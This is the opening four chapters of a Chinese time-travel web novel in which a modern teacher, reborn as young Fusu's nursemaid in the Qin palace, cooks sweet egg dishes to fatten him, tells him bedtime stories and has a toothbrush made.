《穿回大秦养崽子》
1. 第一章 穿越了
清早，扶苏被侍女叫醒，他昨夜睡得并不安稳。
突然的风雨大作、电闪雷鸣将他从噩梦中惊醒，直至后半夜才重新睡着。
洗漱穿戴好后，扶苏跪坐在长案之后垂眸安静地用着侍女已经摆好的昼食。
但他并没有吃多少。他没什么胃口。
穿过一道道长廊，太阳已渐渐升起，还有些冷冽的朝雾逐渐散去。
扶苏沉默地走着，只有腰间环佩之声叮咚作响。
殿门外，扶苏刚好碰到了下朝的嬴政一行人。
“父王。”扶苏和一众宫人行礼。
结果他身边平日里最为稳重的姑姑不但没有行礼，甚至没有停下还在往前走去。
楚荍就是在这样一个尴尬的时刻，穿越了！
她在心脏一阵绞痛后再睁眼的瞬间，就看到一个超绝无敌大帅哥穿着绝美战国袍站在她面前。
楚荍被美得瞪大了眼睛，来不及多看一眼，脑子又是一疼痛，她痛苦地双手抱住脑袋，感觉就像是有一百个人同时对着她这个用稻草编的脑袋在练习捅刀子。
无数条信息同时涌进她的脑子，楚荍立刻明白原来面前的人是嬴政，旁边是公子扶苏。而她，应该是穿越了！
巨大的红色感叹号在她脑子里反复警告。
怎么办，怎么办，头好疼，好想死。
她现在应该是殿前失仪吧，不会要被砍头吧，别真死了啊，哪有刚穿就死的。
要不装昏吧，别待会儿真昏倒向政哥那边，从殿前失仪升级到殿前行刺，那就真该死了。
“姑姑！”
楚荍向后倒去，听到扶苏担忧大喊，来不及在心里感叹声音真好听啊就真被疼昏过去。
身后的侍女伸手向前接住她，扶苏也担心地扶着倒地的楚荍。
几步之外的嬴政冷眼看着这瞬息之间的闹剧，这女人这几年一直在扶苏身边照顾他的起居。他本就不满意她把扶苏照顾成这个样子，如今这又是哪出，美人计？苦肉计？
嬴政皱眉看着扶苏焦急的样子，这女人有这么重要？他不满地想。不过还是挥手让内侍把这女人抱回殿内，又让人去传太医。
叮咚！楚荍脑内响起一声铃声。
恭喜宿主成功绑定“健康系统”。
我是系统002号，您可以叫我，小康。
楚荍漆黑的脑内意识海浮起一个散发着荧蓝光的方块，意识它是在跟自己说话，下意识接了一句：
“那你为啥不叫小‘贱’？”
看着荧蓝光方块右上角的三根黑线，楚荍没忍住噗呲一声笑了出来。然后它左上角也出现了三根黑线。
“好了好了，不逗你了。说说吧，现在是啥情况，小康？”楚荍摆摆手，收了笑容问道。
那荧蓝光方块也把满头黑线给收了起来，开始认真介绍。
“宿主楚荍，原身于2024年9月21日晚10点23分05秒猝死家中。现成功绑定健康系统002号，穿回公元前234年。任务：避免历史再次重演。”
“系统现向你开放的功能有：全面监测扶苏公子生命体征，包括但不限于心率、血压、睡眠、身高、体重等。”
随着系统的介绍，空中逐渐浮出扶苏的心电图和各种体征信息。
看到这，楚荍忍不住问：“那你这跟二十一世纪的智能电子手表有什么区别？”
她这么问是因为她真的有一只这样的手表，系统刚刚提到的数据基本都能监测到。
怎么别人穿越都是开金手指，到她这就是只智能手表啊喂！
“当然有区别了，系统能植入你的脑子，手表不行哦~”
虽然系统是个方块，语气还带上了波浪线，但楚荍还是听出了它的咬牙切齿。显然是对楚荍质疑它的工作能力十分生气。
半饷，系统介绍完它的功能和楚荍的第一个任务之后，她的意识之海重新陷入漆黑。
楚荍也终于有时间能安静地考虑一下她现在的处境。
楚荍，反过来读就是翘楚。这是她名字的由来，没想到原主和她名字一样。
不过原主的名字取自诗经，“视尔如荍，贻我握椒”，是锦葵，一种花草。
虽然意思完全不同，但隔着千年却用了同一个字，难道也是冥冥之中的缘分吗？
她是一名历史教师，周六晚上还在加班改学生的月考卷子，没想到就这样猝死在出租屋里。说实话，她没想过自己会是这么死的。
不过她倒是没什么悲伤的情绪，只是觉得——哦，我就这样死了啊。
甚至还觉得自己挺幸运的，至少灵魂没散，还穿越了，又拥有一段新的人生不是吗。
而且她自己是政哥和公子扶苏的“死忠粉”。
真好看啊，小扶苏和政哥，楚荍回想一下晕倒前的两眼，一想到这，她甚至有点兴奋起来了。
近水楼台先得月，原主身份是扶苏母亲身边的得力侍女，楚夫人死前把扶苏托付给她，希望她能代她照顾好扶苏。现在是扶苏宫中的掌事姑姑，从小照顾他的起居。
这个身份倒是不上不下，挺适合的。
不过她没想到的就是这系统没给她开金手指就算了，给她的第一个主线任务竟然是一年内让扶苏长胖10斤。
扶苏今年6岁，身高为128.5cm，体重是17.5kg，比平均身高120cm高，但是比平均体重20kg轻。属于偏瘦弱的那一种。
不过想想也是，扶苏可是大秦的未来，不把身体养好这么行！
这样一想，她的任务可是很艰巨的。毕竟先秦时期也不像二十一世纪一样处处是美食，只有担心瘦不下来的，没有担心长不胖的。
正当楚荍疯狂脑内风暴，梳理这短短半天内发生的许多事情的时候，迷糊之间听到有人在叫她。
“姑姑，你好些了吗？”
楚荍缓缓睁开眼，映入眼帘的是一个貌美的妙龄女子。
“我没事，卫兰。”楚荍摇摇头，有些艰难地说道。她还不习惯自己的声音。
她现在除了脑子因为接受太多信息还有些疼外，没什么大碍。
“没事就好，姑姑突然晕倒吓死我了。”
卫兰端起一旁的白羹，就是白粥，不过叫杂粮粥更合适一点。这时候的粮食跟现代白花花的大米一样可不一样，基本好几种粮食掺在一起。古时因为防治虫害的手段少，所以经常能看到一片田里间隔种着好几种粮食，就是怕万一犯上虫害，不至于颗粒无收。而且还能有效提高产量。而且收税时一般只看重量，所以百姓常常为了交上税也会把几种粮食掺在一起。
不过那些达官贵人吃的自然是经过挑拣的，像她们这些奴仆在这个时代有口吃的都不过了，那里还能挑。
“这白羹是公子让人送来的，姑姑要不要吃点？”卫兰问。她喂楚荍吃了两口后，楚荍就摇头表示自己不吃了。这白羹味道实在算不上好。
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请让她这个二十一世纪吃货的味蕾先适应一下吧！楚荍心中欲哭无泪，她已经开始想念火锅、烧烤、奶茶了！
“卫兰，现在什么时候？”楚荍问。
“巳时。公子走前说今日姑姑可不去侍奉。”
错啦，领导这么说就是让你去表现的，难道还真不去啊。楚荍在心里吐槽，不过她肯定相信扶苏是真心的。毕竟她家公子可是风光霁月、心地善良的君子，才不会是这种龌龊心思呢，哼哼。
楚荍起身穿衣，巳时就是现代的九十点，她准备先去膳房逛一圈，解决一下扶苏吃饭挑食的问题。
古人一般吃早晚两餐，不过达官显贵吃得起饭的人家一日三餐也是平常。
楚荍按着原主的记忆穿过半个王宫才走到膳房。不过她竟然没有觉得很累，看来原主的体力还是要比她这个五谷不分四体不勤的现代人好多了。
膳房此时正在热火朝天地准备各宫的饭食，每个人都很忙。
楚荍在门口站了半天都没人注意到她。她在来的路上回忆的一下扶苏的偏好，爱吃甜，不太爱吃肉。今早的猪巾羹就没吃多少。猪巾羹就是猪肉芹菜粥，应该味道还不错才是，结果扶苏也不爱吃。
不过要是爱吃甜的话，楚荍脑子里倒是立马有了一道简单小甜点。
“郑大哥，在忙啊？”见没人理她，楚荍主动出击，走到正在备菜的郑威旁边。
“哎哟，楚妹子，你来啊。今早的猪巾羹公子觉得如何？”
郑威见楚荍来了，热情地跟她打招呼。他俩也算一个战壕的兄弟了，一个两个都为扶苏吃饭的问题操碎了心。
见楚荍摇头，郑威失望地叹气，“不应该啊，这次猪肉都用葱姜腌过，没有腥臊味了啊。”
“郑大哥，别难过。我最近想起我家乡的一道菜，保证公子爱吃！”楚荍拍拍郑威的肩膀，给他加油鼓劲。“这菜简单得很，就是对火候要求比较高，又得麻烦你了郑大哥。”
“妹子你这话说的，要是公子爱吃，俺上刀山下火海都给它做好喽！”
这道小甜点叫鸡蛋蜜酒酿，就是用鸡蛋清伴蜜酒酿，搅拌均匀后上锅蒸，出锅后又滑又嫩，非常好吃。因为做法简单，楚荍自己也经常做。不过这道菜对火候要求很高，很容易蒸老。
鸡蛋、米酒先秦时期都有，虽然没有糖，不过可以把麦芽糖加水熬化后加入米酒，或者加蜂蜜也可以，这样就变成甜米酒了。冷却后再和鸡蛋清拌匀上锅蒸。
楚荍把做法告诉郑威后，他动作很快，很快第一锅就出锅了。
盖子掀开的那一刻，楚荍都感觉这两碗鸡蛋蜜酒酿在冒金光。这两碗一碗是用麦芽糖做的，一碗用的蜂蜜。
楚荍和郑威一人尝了一口，蜂蜜这碗甜味顺滑很多。果然天然野蜂蜜就是好吃啊，明懿在心中感叹。不过可惜的是，这两碗都蒸老了。
很快第二锅出锅，郑威的厨艺确实很好，才第二次就是金色传说，这次火候刚刚好，很完美。开盖的一瞬间楚荍感觉膳房里所有人都被这香甜的味道吸引跑过来围观。
鸡蛋蜜酒酿做好后，楚荍又定下来两道菜，一道蒸鱼和片好的烤羊腿配豆醢，一种豆酱。中午吃的比较简单，一般晚上会更丰盛一些。
楚荍自信满满又满含期待地拎着食盒去往扶苏平日上课的宫殿，她已经在期待扶苏吃到这道新菜的表情了。
而且她终于要再见到扶苏，楚荍感觉自己马上要幸福的晕倒过去！
2. 第二章 芙蓉肉饼
偏殿内，四周的书架放满了竹简，扶苏长案上的竹简也堆得很高。正午的阳光很好，殿内十分明亮，扶苏正在埋头苦读，光落在他身上熠熠生辉。
楚荍进门便见到这样一副光景。
自己一个人也这么认真读书，不愧是她家公子。啊啊啊真的好可爱，眼睛大大圆圆的，肤色也很白，生得真好看啊，端坐的样子也好可爱，啊——真是可爱的好宝宝！
楚荍在内心大叫，声音都夹了起来，完全是迷妹的样子。
“姑姑，”扶苏听见声响抬头，发现是楚荍，立马担忧的问道：“姑姑身体没事了吗？”
听见扶苏关心自己，楚荍在心里又大叫起来，不过多年的教师素养让她立马就做好了表情管理。从表面上看完全看不出她心里的激动。
“公子不必担忧，妾没事。”楚荍微笑着摇头，走上前把食盒中的菜都摆了出来。“膳房今日新出了一道菜，公子尝尝看喜不喜欢？”
“姑姑没事就好，今早真是吓死我了。若姑姑平日身体有什么不爽，一定要和我说。”
扶苏见楚荍并不像有事的样子，稍微松了口气，但还是十分认真地叮嘱。
楚荍见扶苏如此关心原主稍稍有些惊讶，不过想想也是，原主在扶苏身边尽心照顾他这么多年，扶苏对她感情深些也正常。小孩子的感情总是十分真挚。
“公子放心，我一定会的。”楚荍也十分认真回道。真挚的感情需要同样真挚的感情来回应。
“公子快尝尝，这道菜趁热才好吃呢。”楚荍将银勺递给扶苏。
扶苏接过勺子，在楚荍期待的眼神中尝了一口。他知道姑姑一直为他的身体担心，连父王都说他怎么这么小一个，还想问责姑姑他们，最后还是被他给拦了下来。他也知道姑姑一直在和膳房研究他喜欢吃的新菜，不过味道总是一言难尽，倒不是难吃，而是他不喜欢。比如他真的不喜欢吃猪肉，不管怎么料理，他都觉得猪骚味很重。
嗯！蛋羹刚一入口，扶苏眼睛就亮了起来，“是甜的！”
“是甜的，这道菜叫鸡蛋蜜酒酿，当然是甜的。”见扶苏很喜欢，楚荍很满意地笑了起来。
俘获扶苏公子味蕾的第一步，大成功！
不知是不是鸡蛋羹很好吃，开了胃口，另外两道蒸鱼和烤羊腿，扶苏也都差不多光盘了。
“公子吃好了？”
“吃好了。”扶苏脸上是被食物满足的笑容。
“现在阳光正好，公子不如去花园里走走，消消食。”楚荍建议道，扶苏比平常吃得多，她怕扶苏积食。
“好。”扶苏点点头，那道鸡蛋蜜酒酿太对他胃口了，一不小心就吃多了，嘿嘿。
花园内，楚荍落后扶苏一步，陪他一起慢悠悠地散步。散步的时候她又想起一道菜，扶苏喜欢吃鸡蛋的话，那这道菜应该也会喜欢。
不过小孩子要长身体，光补充蛋白质也不行，还得补充优质脂肪。现代常见的牛肉、大虾、三文鱼等等，牛肉很难吃到，在古代宰杀耕牛是犯法的。虾的话只有时令河虾，一年中能吃的时候也很少。更别说三文鱼了，要吃三文鱼还是等秦国把齐国打下来再说吧。
这时候吃得最多还是最早就被人类驯养的猪、羊、鸡。当然还有鹿肉、熊掌、蛇肉这些野味，但毕竟吃得次数很少。看来阉猪这个穿越文必备的桥段，她也得提上日程了。
午后，扶苏回偏殿继续读书。楚荍则是先回扶苏宫中和大伙一起吃了一顿大锅饭，虽然难吃，但她还是吃了一点。毕竟人要是快饿死了，那什么都吃得下。吃完后她就又去了膳房，准备找郑威做一下她刚刚想起的一道菜——芙蓉肉饼。
芙蓉肉饼其实就是肉饼蒸蛋。先把猪肉切碎，加入葱姜水和一个鸡蛋，调好味，搅上劲后在盘中摆成一个圆圈状，再在中间打上一个蛋，最后蒸熟即可。这道菜鲜嫩可口，做法简单，也很适合小孩子吃。
不过扶苏不喜欢吃猪肉，她准备把猪肉换成羊肉，味道上应该也差不多。
到膳房后，郑威他们正在吃饭休息。楚荍先是把扶苏对鸡蛋蜜酒酿的喜爱告诉郑威，然又简单说了一下自己想再试一道新菜的想法。
郑威听闻公子对新菜的喜欢，高兴的不得了。对楚荍想试新菜的想法也是一口答应下来。
不过这道芙蓉肉饼也是十分简单的菜品，但是比鸡蛋蜜酒酿还是复杂不少。而且由于换了食材，楚荍他们试了五遍才试出满意的菜品。
虽然过程辛苦了一点，但最后结果还是好的。在尝到和现代相差无几的味道时，楚荍满足的味蕾立马让她觉得这一下午的辛苦都值得了。
“郑大哥，我还有件事情拜托你。”楚荍把郑威叫到一边，对他说道。
“楚妹子，有什么事你直接说，能帮我一定帮。”郑威用袖子擦着脸上的汉，爽朗地说。
“郑大哥，这会儿还有猪仔买吗？我想找人帮我养几头猪。”
“养猪？”郑威一脸奇怪地看着楚荍，“这会儿虽然有些晚，但是应该还能买到猪仔，就是会贵一些。不过妹子你要养猪干什么？”
“郑大哥，不瞒你说，是为了公子。”
楚荍一脸严肃的表情让郑威更疑惑了，怎么要养猪还跟公子扯上关系了？
“是这样的，郑大哥。我幼时曾听过一种劁猪之法，就是把出生不久的小猪仔的两粒那里给切掉，劁过之后的猪长得快，长得肥，还没有现在普通猪那么重的腥臊味。”
楚荍比了个手起刀落的手势，配上楚荍认真严肃的表情，郑威有那么一瞬间感觉自己下面凉飕飕的。
“妹子你、你说的可是真的？”郑威有些结巴的问，若是劁猪有这么大的好处，他怎么从未听过。
“我也不知道，”楚荍摇摇头，“我也是幼时听人讲故事说过一次，不知真假。还是当时那人说得太过生动，我才记到现在。”
“不过为了公子，我想试一试。若这法子是真的，便是利国利民的好事。便是假的，也不过亏些钱财，不妨事。”'');(window.adbyunion = window.adbyunion || []).push(id);})();
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“养猪的钱我来出，郑大哥不必担心这个。只是我在宫外不认识人，这才来拜托郑大哥。”
郑威在听到“生动”这两个字的时候，裆下又是一凉。不过楚荍说到后面，他就已经被说动了。既然楚妹子都说到这份上了，他自然要帮这个忙。若是劁猪之法是真的，那他也算帮着做了一件好事。
考虑好后，郑威便点头答应了这件事。“妹子，你放心，过几日我出宫采买的时候，便帮你办这件事。”
“真的吗，那真是多谢你了，郑大哥。”楚荍见他答应了连忙道谢。然后又和他商讨了一些细节，比如猪仔要多养几头，要是只养个两头，结果劁过之后没活下来就不好了。又比如劁猪最好找个好屠夫，下刀快准狠一点，避免伤口过大。劁过的伤口要上草木灰止血等等。
商量好之后，楚荍就带着晚上的饭食回了扶苏宫中。
扶苏果然对那道新菜也是赞不绝口，十分爱吃。
看着吃饭的扶苏，楚荍感觉自己可比以前看吃播幸福多了。毕竟能看扶苏公子吃播的只有她一个，嘿嘿。楚荍又开始在心里犯起花痴，脸上也是止不住的姨母笑。
“姑姑，你笑什么？”扶苏有些疑惑地问，他怎么感觉姑姑笑得怪怪的。
“啊，没什么！”听到扶苏这么问，意识到自己在姨母笑，楚荍立马就收起了笑容。“我这是看公子爱吃这新菜，开心的笑，对，开心的笑。”
“这样啊。”扶苏点点头，虽然感觉姑姑怪怪的，但是也没有再多问。姑姑平日一心扑在他身上，没好好照顾自己。今日突然晕倒，虽然太医和姑姑都说没事，但他日后得多注意一些才是。
晚上，扶苏洗漱完后，拉住楚荍的衣角，“姑姑，我想听故事。”
扶苏抬头眨巴者大眼睛望着楚荍，楚荍的心立马就被萌化了，她连忙答应：“好，好，姑姑给你讲故事。”
楚荍帮扶苏掖好被子，坐在一边，眼睛一转，立马就想到一个寓教于乐的绝妙故事。
传闻，在齐国一个村子里，有一个人叫老王。老王只有一只眼，另一只是瞎的。没人知道他那只瞎眼是从小营养不良瞎的，还是害了恶病瞎的。但他另一只眼也不是好眼，到了晚上就看不见。老王有一辆木板车，平日里给村里人拉货为生。不过老王两只眼都不好，村民都怕他路上撞到什么东西，渐渐就不跟他做生意了。不过村里有一户读书人家，夫妇俩是个好人，还愿意给他生意做。她女儿还给了老王一大瓶鱼肝油，能治“夜盲症”，吃了之后晚上就能看得见了。
“姑姑，鱼肝油是什么？为什么能治‘夜盲症’？”扶苏好奇地问。
“传闻齐国的深海里有一种大鱼，这大鱼有几丈之大，嘴前还有一根五尺长的尖刺，这种鱼异常凶猛，十分难以捕捉。鱼肝油就是从这种鱼的脂肪和肝脏炼出来的鱼油。”
楚荍随口胡诌，把扶苏唬的一愣一愣的。
“后来呢姑姑，老王的夜盲症治好了吗？”扶苏扯着楚荍的衣袖催促。
3. 第三章 讲故事
后来，后来也不知老王晚上能不能看见，他就病了。有一日夫妇二人早上一开门，老王佝着子进门，直僵僵地，送给二人一壶油和一条腊肉。夫妇二人要给他钱，他不肯收，最后老王还是收下了。又过了十多日，二人碰见老王隔壁的老李，才知道老王已经死了，就是到他们那儿的第二日。后来二人每每想起老王，总觉得心中不安，过了几年才渐渐明白：“那是一个幸运的人对一个不幸者的愧怍”。
楚荍讲完，发现扶苏明显难受起来。
这篇故事是杨绛的散文《老王》，你问她为什么不讲格林童话和一千零一夜，当然是因为前一天她还在考场监考的时候在讲台的语文课本上刚读过这个故事。当时时间充足，她还好好回味了一下，最近印象最深刻。
“公子，可是难受了？”楚荍问。
扶苏皱着眉点头又摇头，抬起头对她说：“这对夫妇心里不安是因为他们是好人，老王也是好人，他悲惨的生活是国家的错。老王从小眼瞎，属于身体残疾，他的生活、他的工作，应当有国家帮扶才是。若他身在秦国，定不会如此死去。”
“君王者，大丈夫也，生于天地间，该当顶天立地，庇天下弱小，谋天下之定！”
楚荍听完扶苏坚定的豪言壮语，一下子愣住了，她家公子真的只有六岁吗？她家公子不会是神童吧，还是先天帝王圣体的那种？
哪有正常小朋友听完这个故事还能说出这番话语的！
“公子该不是神童吧！”楚荍惊喜地用力握住扶苏的手，“不过六岁便如此聪慧！”
被楚荍如此直白的夸赞，扶苏反倒有些不好意思起来，他并不觉得自己说了多么惊人的话。
“不过姑姑没公子想的这么多，我讲这个故事只是想告诉公子，小孩子不好好吃饭会营养不良然后得夜盲症的哦。要想治好，那得等大王把齐国打下来再说了。”
啊？扶苏瞪大双眼，他确实没想到楚荍讲这个故事只是为了劝他好好吃饭。
楚荍看扶苏一脸不可置信讶然的样子，没忍住噗呲笑了起来。她家公子真是太可爱了。
扶苏见楚荍大笑，脸立马红了起来，以为楚荍在戏弄他，气愤地说：“姑姑又戏弄我！”
楚荍抬手擦擦眼角的眼泪，收起笑容，摸摸他的头，认真对扶苏说道：“姑姑并没有戏弄公子，公子可知五谷丰登是哪五谷？”
“??麻、黍、粟、麦、菽。”扶苏想了一会儿才答道。
“那公子可知粟一年几熟，何时播种何时收获，收获后又如何保存，如何食用？”
“这、这......”扶苏结巴起来，老师并未教过他这些。
“公子不知，土地和土地上生长出来的粮食是百姓立身之本，公子对此一概不知，却大言不惭说着要‘庇天下弱小，谋天下之定’？”
楚荍的言语锐利起来，直直钉进扶苏心里。他的脸色立马难看起来。
楚荍见状便知自己话说重了，心中懊悔。她这是职业病，一不小心就发起了被动技能——老师的说教。
她缓了缓语气，接着说道：“姑姑的意思是，公子不知五谷，亦不知种植五谷的辛苦，便不能体会‘谁知盘中餐，粒粒皆辛苦’的心情。公子每日吃食有剩，可天下多的是吃不饱饿死的百姓。”
楚荍轻轻抱住扶苏，“公子若真正把庇天下弱小，谋天下之定作为目标，那更要好好吃饭，养好身体。若是没有一个好的身体，又怎么支持你的奋斗。”
半饷，扶苏才在楚荍怀里闷声答是。楚荍并未再说话，她知道这会儿扶苏在自己思考。她家公子这样聪明、一点就通的小孩，会明白她在说什么的。
其实她本意就是想劝扶苏好好吃饭来着，结果一不小心跑偏了。楚荍有些心虚地摸摸鼻子。大晚上的，给小孩整难过了，她真该死啊。
殿门外嬴政制止了宫人的行礼，示意他们噤声。刚刚楚荍和扶苏的对话一字不落全落进他耳朵里。
没想到扶苏这么小就能说出“庇天下弱小，谋天下之定”，果然是他儿子，还算有几分他的样子。看来李斯他们总夸扶苏聪慧，倒也不全是假话。
不过扶苏身边这个侍女，能随意说出这番话......嬴政眼中晦暗不明。
今晚不用楚荍值夜，她便回了自己房间休息。作为扶苏宫里的掌事姑姑，她还是有一个自己单独的房间。卫兰今晚也轮休，二人结伴而归。
路上，楚荍倒是想起她白天准备拜托卫兰的一件事。
她把卫兰叫进房间，取下架子上的一块布帛和案上的毛笔，问道：“兰儿，你会画画吗？”
在原主记忆里，卫兰本是卫国公主，后来卫国被魏灭亡，她也辗转沦落到秦宫为奴为婢。她是个才女，不仅会读书写字，绣工更是一绝。扶苏很多衣服的纹饰都是卫兰绣的。
楚荍也是今天看见扶苏用毛笔，才想起来这事。
先秦时期的绘画比较原始，多在木上、岩上、壁上。但是战国晚期就已经出现了彩绘帛画，长沙楚墓就挖出来了两幅帛画。
既然蒙恬已经发明了毛笔，那就意味着可以在布帛上作画。如果不是因为楚荍自己实在是个手残，她也不会拜托卫兰。这布帛和毛笔也都是扶苏赏给她的。
“姑姑这是何意？”卫兰疑惑地问。
“兰儿，今早我晕倒的时候，看到大王的脸了吧。”
卫兰不知道楚荍是什么意思，但还是乖乖点了头，她确实看到了。如果不是楚荍突然晕倒，平日她们这些奴仆是绝不敢抬头看向大王的脸的。
“兰儿，你不觉得公子向大王行礼那一幕十分好看养眼吗！”
原主和卫兰的关系很好，楚荍说话也就没了许多禁忌，直接化身星星眼迷妹。
“养、眼，是什么意思？”
“呃，养眼就是大王和公子都长得很好看，看了对眼睛很好，差不多是这个意思。”
卫兰瞪大眼睛看着楚荍，她家姑姑什么时候说话这么大胆了？虽然说的是真话，那一幕确实不要太养、眼。
“那为何姑姑想把这一幕画下来？”
“公子如今六岁，长大的每一个瞬间都是珍贵的。现在画下来，便能把这个瞬间的记忆保存下来。等到公子长大，看到这些画，就能想起自己珍藏的那些记忆
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楚荍认真解释了一番，卫兰也大概懂了。
“可是姑姑，我会写字，可我不会画画呀。”
楚荍摇摇头，“兰儿，若说我身边谁能帮我这个忙，就只有你了。兰儿你绣工这么好，本就是以针为笔，是另一种画画。现在你把针换成这毛笔，用墨在帛上作画，肯定更美。你不想试试吗，兰儿？”
楚荍边说，边把布帛毛笔和一小小块不规则的墨块递给卫兰。
卫兰必须得承认，她被楚荍的话蛊惑了。她确实想试试用蒙恬将军发明的毛笔用墨在帛上作画的感觉。
她接过楚荍递过来的东西，眼神逐渐坚定，“若姑姑信我，我一定尽力一试。”
见卫兰答应，楚荍立马喜笑颜开，又和卫兰沟通了很多画面的细节。比如人物要怎么画，背景又怎么画合适，两个人借着月光开心地讨论了小半个时辰。
“对了兰儿，这布帛珍贵，我也就公子赏赐的这一块，你画时可要小心些。最好是起好稿子，确定了再画。”
卫兰闻言点点头，“我知道的，姑姑。”
送走卫兰，梳洗完后，楚荍才终于躺下。
她刚一躺下，还没来得及喊一句累死了，就听见脑中响起叮咚一声。
叮咚，恭喜宿主开启好感度攻略模式。
现为您开启好感度攻略人物：扶苏。
原本是荧蓝色方块的系统，现在摇身一变成了金发碧眼的萌萌正太。
“呃，系统、小康康啊，你怎么变成这样了？”楚荍忍不住问。
“这是为宿主专门定制的外观哦。”
眼前的金发小正太朝着她卖萌，她一身鸡皮疙瘩都起来了。怎么，她这是二次元属性被系统发现了？还定制外观，楚荍扶额。
“小康康啊，你刚刚说的好感度攻略是啥呀？”
“好感度攻略模式就是宿主可通过自身行为增加攻略人物对你的好感度，增长的好感值可用来在好感度商店进行购买。”
“宿主每月可选择开启一人的好感条，当攻略人物的好感度满值时，可对好感度商店进行一次升级，并获得惊喜大礼包一份。”
随着系统的讲解，楚荍的意识之海里出现了扶苏的好感条。上面显示扶苏对她的初始好感是30点，满值是100点，今天增加了5点。
听到这，楚荍才有点这系统给自己开金手指的感觉。不过倒是有一种把穿越文玩成乙游的样子。但是等打开好感度商店之后，这点开金手指的感觉也消失殆尽了。
谁家商店只有三样东西——牙膏、浴巾和大白兔奶糖。甚至需要的好感度分别是5点、10点、20点！
她今天总共才赚五点啊，这简直是黑店！
“小康康，这商店每天会刷新不？”
“好感度商店每日凌晨十二点将会进行刷新。”
“那会刷出土豆玉米的种子，或者各种设计图吗？”
“宿主，我是健康系统。您刚刚提到这些是不会出现在好感度商店的。”
系统这话听的楚荍满头问号，她真的很想请问，大白兔奶糖跟健康的关系是？
4. 第四章 赛螃蟹
呼，夜深人静的时候，楚荍突然有点想哭。
她先是猝死，然后莫名其妙穿越。穿越后又是脚不沾地地忙了一天，到深夜才有点自己的时间。
刚刚她问了系统，知道原主的灵魂没有死亡，而是穿到她现代的身体里去了才松了口气。她不想因为自己穿越霸占了原主的身体就把原主的灵魂挤得魂飞魄散。
这样也好，原主能体验一下发达先进的现代科技，她爸妈也不会因为她的猝死伤心。
而她也能再过一个完全不一样的，而不是在一个未来三十年都能一眼望到头的职业上耗到死。
原主今年二十二岁，结过婚，对象是宫里的一个侍卫。刚结婚不久那人在战场上战死了，自然也没有孩子。她现在是寡妇。
寡妇好啊，还没孩子，不用被催婚还不用养孩子，简直不要太完美。
楚荍没来得及想更多，很快，身体上的疲惫就让她沉沉睡去。
第二天一早，天还没亮，楚荍就因为原主的生物钟醒了。
她快速收拾好自己后就去扶苏的房里伺候他梳洗。
见扶苏用手指沾粗盐楷牙的时候突然想起来，扶苏爱吃甜，保护牙齿健康这事也得提上日程了。
你问楚荍自己洗漱的时候怎么没想起来，当然是因为这么早对她这个大懒虫来说，魂儿根本都还没睡醒啦。脑子都还没开机，怎么可能想起这种事。
今日膳房送来的吃食有鸡蛋蜜酒酿，羊巾羹和一碟鹿脯（鹿肉干）配梅醢。
楚荍跪坐在另一侧为扶苏布菜，看起来扶苏已经把昨晚的对话消化了。
用完早饭后，楚荍问扶苏：“公子昨晚睡得不好？”
扶苏点点头，“昨晚想着姑姑说的话，想的入神，不小心睡得晚了。”
“那公子今日可需要我随侍左右？”
“姑姑有事？”扶苏有些好奇地问。
“姑姑昨晚想起一道家乡的小菜，想去膳房试试新菜，保证公子爱吃。”楚荍朝扶苏眨眨眼，笑得一脸神秘。
扶苏见状，有昨日两道菜珠玉在前，他的好奇心也被吊了起来，笑着说道：“那我就期待姑姑的新菜了。”
等把扶苏送到上课的偏殿之后，楚荍就马不停蹄地去了膳房。
昨晚扶苏不是对深海里的海鱼感兴趣吗，而且他也比较喜欢吃河鲜，所以楚荍想起了一道经典的鸡蛋料理——赛螃蟹。
这是用鸡蛋、姜末和醋做成的一道味道鲜美赛螃蟹的菜。
不过这里有个问题，鸡蛋要多加油炒起来才香，先秦时期古人吃油多是动物油脂，比如猪油、羊油、牛油。但是扶苏不爱吃猪肉，那肯定也不爱吃猪油，不知道羊油能不能行。
到了膳房之后，楚荍就找郑威跟她一起试菜。猪油和羊油分别都试了，果然还是猪油的更好吃。羊油的味道有些重了，把鸡蛋和姜末产生的类似螃蟹的鲜甜味道给盖住了。
最后两个人试来试去，还把厨房里仅剩的一点牛油也给试了。古代虽然不允许宰杀耕牛，但是耕牛老了不能耕地或者意外死亡之后，肉还是可以吃的。
最后决定扶苏吃用牛油炒的，大王就吃用猪油炒的。
不过这道菜不像昨日两道，没有现代的口味好吃。毕竟现代用铁锅猛火炒出来的肯定更香。
先秦时期烹炒的厨具叫“鬲”，音同丽。口圆，三足空。有青铜鬲和陶鬲，膳房里用的便是陶鬲。这种厨具没有铁锅导热快，炒出来的口味自然也差上许多。
试好菜后，离中午还有一段时间，楚荍去了一趟少府。她找到尚沐丞，让他找个工匠帮她做件小东西。尚沐丞就是负责掌大王洗浴的官。
楚荍想了想，牙刷这东西应该是尚沐丞负责吧。也亏原主掌扶苏一宫之事，有点小地位，又和谁都差不多认识，好办事。
尚沐丞听说她是为了扶苏的事而来，很快就给她找了个工匠。
秦国人这办事效率真他爹高啊，楚荍忍不住感叹，难怪人家最后统一六国了。这要是放到现在，你想办个什么事不得先批各种报告啊。请个假都得提前几天打报告。
尚沐丞给她找的那个小工匠年龄看着有些小，十七八岁的样子。
“姑姑，尚沐丞大人让我来为您办事。”李远向她行礼。
楚荍把自己想做一把“牙刷”的想法告诉李远，又给他画了一个简单的图纸，和他详细介绍了牙刷的功能。
“这牙刷做起来不难，但是如何固定刷毛，以及用什么毛来做刷毛合适得反复试才行。”
李远看着楚荍在地上用木炭给他画出的简易草图，皱着眉说道。
楚荍见李远一下就抓住的问题的关键，有些不好意思的笑笑，“我只是有这么个想法，具体如何去把它做出来，我却是没有什么头绪的。只能麻烦你了，李远。”
“不过刷毛，像是猪鬃毛、马鬃毛、马尾毛、羊毛这些，你都可以试试。”
李远闻言点点头，“姑姑说的这些我刚刚也想到了。我们先做刷柄如何？”
楚荍见李远干劲十足的样子，也来了兴趣，这不就是大师指导的手工课吗，还不用交钱的那种。
毕竟李远这么年轻就能到宫里做工匠，刚刚又能一针见血地指出难点，肯定是肚子里有点货的。
李远找出一块木头，他先是用小锯切割出形状，然后又用工具钻出十二个小孔。
“姑姑，你说我们用一簇刷毛穿过这两个小孔，然后用铜丝或者铁丝把它固定，是不是就可以了。”李远拿着刷柄的雏形对她说，语气很是兴奋。
楚荍看着他手中的刷柄，想了一下他刚刚提的方法，发现确实可行。
“好像确实可行，然后刷毛你可以多试试。”楚荍惊喜地说，这小子肚子里果然有货，这么快就想出解决办法了。
“你就按这个想法做吧，做好后送到公子宫中来即可。我还有事，先走了。”
